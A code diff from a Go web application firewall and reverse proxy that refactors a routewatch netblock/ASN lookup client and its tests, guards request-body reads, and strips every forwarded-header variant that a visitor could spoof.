now := c.params.Now()
|
||||||
|
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
@@ -160,7 +221,9 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
|
|||||||
firstFailure := err != nil && !now.Before(c.retryAt)
|
firstFailure := err != nil && !now.Before(c.retryAt)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
c.answers.Add(client, answer{route: route, missing: missing, came: now})
|
c.answers.Add(client, Answer{
|
||||||
|
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
|
||||||
|
})
|
||||||
} else {
|
} else {
|
||||||
c.retryAt = now.Add(failureKept)
|
c.retryAt = now.Add(failureKept)
|
||||||
}
|
}
|
||||||
@@ -168,25 +231,34 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
if firstFailure {
|
if firstFailure {
|
||||||
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
|
c.params.ProcessLog.Warn(
|
||||||
|
"asking routewatch failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
||||||
// that cannot be read, and none within queryTimeout, fail. A result with no
|
// that cannot be read, and none within queryTimeout, fail. A result with no
|
||||||
// netblock is an address without a live route.
|
// netblock is an address without a live route, and gives a Route without one.
|
||||||
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
|
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, "", fmt.Errorf("make the URL: %w", err)
|
return Route{}, fmt.Errorf("make the URL: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
endpoint,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, "", fmt.Errorf("make the request: %w", err)
|
return Route{}, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req.Header.Set("Accept", "application/json")
|
req.Header.Set("Accept", "application/json")
|
||||||
@@ -195,7 +267,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
// Do's error names the URL, which holds the client's address, which
|
// Do's error names the URL, which holds the client's address, which
|
||||||
// is not to be logged: only what went wrong is kept.
|
// is not to be logged: only what went wrong is kept.
|
||||||
return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -203,14 +275,14 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusOK {
|
if res.StatusCode != http.StatusOK {
|
||||||
return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
|
return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
|
||||||
}
|
}
|
||||||
|
|
||||||
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
||||||
}
|
}
|
||||||
|
|
||||||
// readAnswer reads routewatch's answer about one address.
|
// readAnswer reads routewatch's answer about one address.
|
||||||
func readAnswer(body io.Reader) (Route, Missing, error) {
|
func readAnswer(body io.Reader) (Route, error) {
|
||||||
var decoded struct {
|
var decoded struct {
|
||||||
Data struct {
|
Data struct {
|
||||||
Results []struct {
|
Results []struct {
|
||||||
@@ -222,22 +294,22 @@ func readAnswer(body io.Reader) (Route, Missing, error) {
|
|||||||
|
|
||||||
err := json.NewDecoder(body).Decode(&decoded)
|
err := json.NewDecoder(body).Decode(&decoded)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, "", fmt.Errorf("read the answer: %w", err)
|
return Route{}, fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(decoded.Data.Results) == 0 {
|
if len(decoded.Data.Results) == 0 {
|
||||||
return Route{}, "", errNoResult
|
return Route{}, errNoResult
|
||||||
}
|
}
|
||||||
|
|
||||||
result := decoded.Data.Results[0]
|
result := decoded.Data.Results[0]
|
||||||
if result.Netblock == "" {
|
if result.Netblock == "" {
|
||||||
return Route{}, NoRoute, nil
|
return Route{}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock, err := netip.ParsePrefix(result.Netblock)
|
netblock, err := netip.ParsePrefix(result.Netblock)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
||||||
}
|
}
|
||||||
|
|
||||||
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
|
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
|
||||||
}
|
}
|
||||||
@@ -7,10 +7,12 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"testing"
|
"testing"
|
||||||
|
"testing/synctest"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
||||||
@@ -113,6 +115,30 @@ func answering(body string) http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// silentURL is where a routewatch that never answers is: a query to it waits,
|
||||||
|
// without the network, until it is abandoned. TestMain registers it with Go's
|
||||||
|
// default transport, through which the Client asks.
|
||||||
|
const silentURL = "silent://routewatch/"
|
||||||
|
|
||||||
|
func TestMain(m *testing.M) {
|
||||||
|
transport, _ := http.DefaultTransport.(*http.Transport)
|
||||||
|
transport.RegisterProtocol("silent", silentRoutewatch{})
|
||||||
|
|
||||||
|
m.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
// silentRoutewatch is the routewatch at silentURL.
|
||||||
|
type silentRoutewatch struct{}
|
||||||
|
|
||||||
|
// RoundTrip waits until req is abandoned.
|
||||||
|
func (silentRoutewatch) RoundTrip(
|
||||||
|
req *http.Request,
|
||||||
|
) (*http.Response, error) {
|
||||||
|
<-req.Context().Done()
|
||||||
|
|
||||||
|
return nil, req.Context().Err()
|
||||||
|
}
|
||||||
|
|
||||||
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
||||||
addr := netip.MustParseAddr(clientAddr)
|
addr := netip.MustParseAddr(clientAddr)
|
||||||
client := netip.PrefixFrom(addr, addr.BitLen())
|
client := netip.PrefixFrom(addr, addr.BitLen())
|
||||||
@@ -167,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
|
|||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
||||||
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
|
t.Errorf(
|
||||||
|
"before the answer: %q, want %q",
|
||||||
|
missing,
|
||||||
|
routewatch.NoAnswerYet,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
want := routewatch.Route{
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||||
|
ASN: 64496,
|
||||||
|
}
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -195,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
|
|||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
want := routewatch.Route{
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||||
|
ASN: 64496,
|
||||||
|
}
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -224,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
"not JSON": answering("no"),
|
"not JSON": answering("no"),
|
||||||
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
||||||
"bad netblock": answering(
|
"bad netblock": answering(
|
||||||
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
|
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
for name, standIn := range tests {
|
for name, standIn := range tests {
|
||||||
t.Run(name, func(t *testing.T) {
|
t.Run(name, func(t *testing.T) {
|
||||||
@@ -239,19 +276,28 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
f.server.Close()
|
// Another test can take a closed server's port at once, so routewatch's
|
||||||
|
// address here is a multicast address, to which TCP cannot connect.
|
||||||
|
f.client = routewatch.New(routewatch.Params{
|
||||||
|
URL: "http://224.0.0.1/", Now: f.clk.Now,
|
||||||
|
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
||||||
|
})
|
||||||
|
|
||||||
f.route()
|
f.route()
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
@@ -272,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
|||||||
deadline := time.Now().Add(waitLimit)
|
deadline := time.Now().Add(waitLimit)
|
||||||
for f.queries.Load() != 2 {
|
for f.queries.Load() != 2 {
|
||||||
if time.Now().After(deadline) {
|
if time.Now().After(deadline) {
|
||||||
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
|
t.Fatalf(
|
||||||
|
"%d queries after the failure expired, want 2",
|
||||||
|
f.queries.Load(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Millisecond)
|
time.Sleep(time.Millisecond)
|
||||||
@@ -282,20 +331,34 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
|||||||
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
|
// In a synctest bubble, time passes only while every goroutine in it waits,
|
||||||
<-r.Context().Done()
|
// so Route's wait is measured exactly, however busy the host is. routewatch
|
||||||
|
// is the one at silentURL: one reached over the network would keep the
|
||||||
|
// bubble's clock from moving.
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
// Without newFixture's stand-in, which is reached over the network.
|
||||||
|
f := &fixture{t: t, log: &syncBuffer{}}
|
||||||
|
f.client = routewatch.New(routewatch.Params{
|
||||||
|
URL: silentURL, Now: time.Now,
|
||||||
|
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
||||||
})
|
})
|
||||||
|
|
||||||
start := time.Now()
|
began := time.Now()
|
||||||
|
_, missing := f.route()
|
||||||
|
|
||||||
f.route()
|
if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
|
||||||
|
waited != 0 {
|
||||||
if elapsed := time.Since(start); elapsed > time.Second {
|
t.Errorf(
|
||||||
t.Errorf("Route took %s while routewatch hangs", elapsed)
|
"Route gave %q after %s while routewatch hangs, want %q at once",
|
||||||
|
missing,
|
||||||
|
waited,
|
||||||
|
routewatch.NoAnswerYet,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
||||||
@@ -331,3 +394,110 @@ func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
|||||||
t.Errorf("%d queries after the answer expired, want 2", got)
|
t.Errorf("%d queries after the answer expired, want 2", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
|
f.route()
|
||||||
|
f.waitFor("")
|
||||||
|
|
||||||
|
want := []routewatch.Answer{{
|
||||||
|
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
||||||
|
Answered: f.clk.Now(),
|
||||||
|
}}
|
||||||
|
if got := f.client.Snapshot(); !slices.Equal(got, want) {
|
||||||
|
t.Errorf("snapshot %+v, want %+v", got, want)
|
||||||
|
}
|
||||||
|
|
||||||
|
f.clk.advance(time.Hour)
|
||||||
|
|
||||||
|
if got := f.client.Snapshot(); len(got) != 0 {
|
||||||
|
t.Errorf("snapshot %+v an hour after the answer, want none", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
now := f.clk.Now()
|
||||||
|
kept := routewatch.Answer{
|
||||||
|
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
||||||
|
Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
|
||||||
|
Answered: now.Add(-time.Hour + time.Second),
|
||||||
|
}
|
||||||
|
stale := routewatch.Answer{
|
||||||
|
Client: netip.MustParsePrefix("192.0.2.2/32"),
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
||||||
|
Answered: now.Add(-time.Hour),
|
||||||
|
}
|
||||||
|
|
||||||
|
f.client.Load([]routewatch.Answer{kept, stale})
|
||||||
|
|
||||||
|
if got := f.client.Snapshot(); !slices.Equal(
|
||||||
|
got,
|
||||||
|
[]routewatch.Answer{kept},
|
||||||
|
) {
|
||||||
|
t.Errorf(
|
||||||
|
"kept %+v, want only the answer that came less than an hour ago",
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
route, missing := f.route()
|
||||||
|
|
||||||
|
want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
|
||||||
|
if route != want || missing != "" {
|
||||||
|
t.Errorf("route %+v (%q), want %+v", route, missing, want)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := f.queries.Load(); got != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"%d queries for a client with an answer loaded, want none",
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const maxAnswers = 100000
|
||||||
|
|
||||||
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
now := f.clk.Now()
|
||||||
|
|
||||||
|
// routewatch.json lists the answers by client. Here each came a
|
||||||
|
// millisecond before the one listed before it, so the last listed is
|
||||||
|
// the one that came longest ago, and the one dropped.
|
||||||
|
answers := make([]routewatch.Answer, maxAnswers+1)
|
||||||
|
addr := netip.MustParseAddr("10.0.0.0")
|
||||||
|
|
||||||
|
for i := range answers {
|
||||||
|
answers[i] = routewatch.Answer{
|
||||||
|
Client: netip.PrefixFrom(addr, addr.BitLen()),
|
||||||
|
Answered: now.Add(-time.Duration(i) * time.Millisecond),
|
||||||
|
}
|
||||||
|
addr = addr.Next()
|
||||||
|
}
|
||||||
|
|
||||||
|
f.client.Load(answers)
|
||||||
|
|
||||||
|
got := f.client.Snapshot()
|
||||||
|
if len(got) != maxAnswers {
|
||||||
|
t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
|
||||||
|
t.Errorf(
|
||||||
|
"answers kept from %s to %s, want from %s to %s",
|
||||||
|
got[0].Client,
|
||||||
|
got[maxAnswers-1].Client,
|
||||||
|
answers[0].Client,
|
||||||
|
answers[maxAnswers-1].Client,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -31,11 +32,24 @@ type requestBody struct {
|
|||||||
received atomic.Bool
|
received atomic.Bool
|
||||||
// bytes is how much of the body has been read.
|
// bytes is how much of the body has been read.
|
||||||
bytes atomic.Int64
|
bytes atomic.Int64
|
||||||
|
|
||||||
|
// mu is held for the whole of each Read, and guards stopped.
|
||||||
|
mu sync.Mutex
|
||||||
|
// stopped is true once the body no longer goes to the app; Read then reads
|
||||||
|
// no more.
|
||||||
|
stopped bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read reads from the visitor's body, after the part held, which has been
|
// Read reads from the visitor's body, after the part held, which has been
|
||||||
// counted already.
|
// counted already.
|
||||||
func (b *requestBody) Read(p []byte) (int, error) {
|
func (b *requestBody) Read(p []byte) (int, error) {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
|
||||||
|
if b.stopped {
|
||||||
|
return 0, http.ErrBodyReadAfterClose
|
||||||
|
}
|
||||||
|
|
||||||
if len(b.held) > 0 {
|
if len(b.held) > 0 {
|
||||||
n := copy(p, b.held)
|
n := copy(p, b.held)
|
||||||
b.held = b.held[n:]
|
b.held = b.held[n:]
|
||||||
@@ -60,9 +74,11 @@ func (b *requestBody) Read(p []byte) (int, error) {
|
|||||||
return n, err
|
return n, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close closes the visitor's body.
|
// Close does nothing: Go's server closes the visitor's body once the handler
|
||||||
|
// returns. Closing it earlier, as the transport and ReverseProxy do, would wait
|
||||||
|
// for a Read in progress and then read up to 256 KiB more of the body.
|
||||||
func (b *requestBody) Close() error {
|
func (b *requestBody) Close() error {
|
||||||
return b.body.Close()
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseBody is the app's response body on its way to the visitor.
|
// responseBody is the app's response body on its way to the visitor.
|
||||||
@@ -163,6 +179,8 @@ type responseWriter struct {
|
|||||||
// status is the final status sent, or zero before one is.
|
// status is the final status sent, or zero before one is.
|
||||||
status int
|
status int
|
||||||
bytes int64
|
bytes int64
|
||||||
|
// afterStatus, if set, is called once the final status has been written.
|
||||||
|
afterStatus func()
|
||||||
}
|
}
|
||||||
|
|
||||||
// WriteHeader sends the status and headers. An informational 1xx status is
|
// WriteHeader sends the status and headers. An informational 1xx status is
|
||||||
@@ -173,6 +191,10 @@ func (w *responseWriter) WriteHeader(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
w.ResponseWriter.WriteHeader(status)
|
w.ResponseWriter.WriteHeader(status)
|
||||||
|
|
||||||
|
if status >= http.StatusOK && w.afterStatus != nil {
|
||||||
|
w.afterStatus()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write sends part of the body.
|
// Write sends part of the body.
|
||||||
@@ -181,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
|
|||||||
w.status = http.StatusOK
|
w.status = http.StatusOK
|
||||||
}
|
}
|
||||||
|
|
||||||
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
|
//nolint:gosec // the answer, as it was given
|
||||||
|
n, err := w.ResponseWriter.Write(p)
|
||||||
w.bytes += int64(n)
|
w.bytes += int64(n)
|
||||||
|
|
||||||
return n, err
|
return n, err
|
||||||
@@ -196,7 +219,8 @@ func (w *responseWriter) FlushError() error {
|
|||||||
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
||||||
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
||||||
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
||||||
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
|
conn, buffered, err := http.NewResponseController(w.ResponseWriter).
|
||||||
|
Hijack()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
w.status = http.StatusSwitchingProtocols
|
w.status = http.StatusSwitchingProtocols
|
||||||
}
|
}
|
||||||
|
|||||||
+15
-12
@@ -18,7 +18,7 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// peerAddress is the address of the request's TCP peer, normally traefik, without
|
// peerAddress is the address of the request's TCP peer, normally traefik, without
|
||||||
// any IPv6 zone, which discriminator refuses.
|
// any IPv6 zone, which waf refuses.
|
||||||
func peerAddress(r *http.Request) netip.Addr {
|
func peerAddress(r *http.Request) netip.Addr {
|
||||||
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
|
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
|
|||||||
// address outside them is the visitor; if every address in it is inside, the
|
// address outside them is the visitor; if every address in it is inside, the
|
||||||
// leftmost is, and with no header, the peer. An entry that is not an address
|
// leftmost is, and with no header, the peer. An entry that is not an address
|
||||||
// ends the reading, since nothing to its left can be believed. The visitor's
|
// ends the reading, since nothing to its left can be believed. The visitor's
|
||||||
// address never has an IPv6 zone, which discriminator refuses.
|
// address never has an IPv6 zone, which waf refuses.
|
||||||
func clientAddress(
|
func clientAddress(
|
||||||
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
|
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
|
||||||
) netip.Addr {
|
) netip.Addr {
|
||||||
@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
|
|||||||
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
||||||
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
||||||
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
||||||
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
|
func setForwardedHeaders(
|
||||||
|
in, out *http.Request,
|
||||||
|
peer netip.Addr,
|
||||||
|
trusted bool,
|
||||||
|
) {
|
||||||
forwardedFor := peer.String()
|
forwardedFor := peer.String()
|
||||||
|
|
||||||
if trusted {
|
if trusted {
|
||||||
@@ -105,15 +109,14 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// ReverseProxy has removed Forwarded and the three set below; these are the
|
// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
|
||||||
// other headers in which traefik tells the app about the visitor and its
|
// a name is matched with each _ read as - and in any letter case.
|
||||||
// request.
|
for name := range out.Header {
|
||||||
for _, name := range []string{
|
spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
|
||||||
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
if strings.HasPrefix(spelt, "x-forwarded-") ||
|
||||||
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
spelt == "forwarded" || spelt == "x-real-ip" {
|
||||||
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
delete(out.Header, name)
|
||||||
} {
|
}
|
||||||
out.Header.Del(name)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
out.Header.Set("X-Forwarded-For", forwardedFor)
|
out.Header.Set("X-Forwarded-For", forwardedFor)
|
||||||
|
|||||||
+574
-89
File diff suppressed because it is too large.
Load diff
@@ -12,11 +12,11 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// questionBodyMaxBytes is the most of a body a question carries.
|
// questionBodyMaxBytes is the most of a body a question carries.
|
||||||
const questionBodyMaxBytes = discriminator.QuestionBodyMaxBytes
|
const questionBodyMaxBytes = waf.QuestionBodyMaxBytes
|
||||||
|
|
||||||
// chunked is the encoding of a body whose length the visitor did not announce.
|
// chunked is the encoding of a body whose length the visitor did not announce.
|
||||||
const chunked = "chunked"
|
const chunked = "chunked"
|
||||||
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
|
|||||||
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
req.Header.Set(forwardedForHeader, "198.51.100.1")
|
req.Header.Set(forwardedForHeader, "198.51.100.1")
|
||||||
req.Header.Set(forwardedProtoHeader, "gopher")
|
req.Header.Set(forwardedProtoHeader, "gopher")
|
||||||
req.Header.Set(requestIDHeader, "the-visitor's")
|
req.Header.Set(requestIDHeader, "the-visitor's")
|
||||||
req.Header.Set(discriminator.ClientHeader, "198.51.100.2")
|
req.Header.Set(waf.ClientHeader, "198.51.100.2")
|
||||||
req.Header.Set(discriminator.PeerHeader, "198.51.100.3")
|
req.Header.Set(waf.PeerHeader, "198.51.100.3")
|
||||||
req.Header.Set(discriminator.ContentLengthHeader, "12345")
|
req.Header.Set(waf.ContentLengthHeader, "12345")
|
||||||
// Go's client then sends no User-Agent, so that one in the question would be
|
// Go's client then sends no User-Agent, so that one in the question would be
|
||||||
// Go's own.
|
// Go's own.
|
||||||
req.Header["User-Agent"] = nil
|
req.Header["User-Agent"] = nil
|
||||||
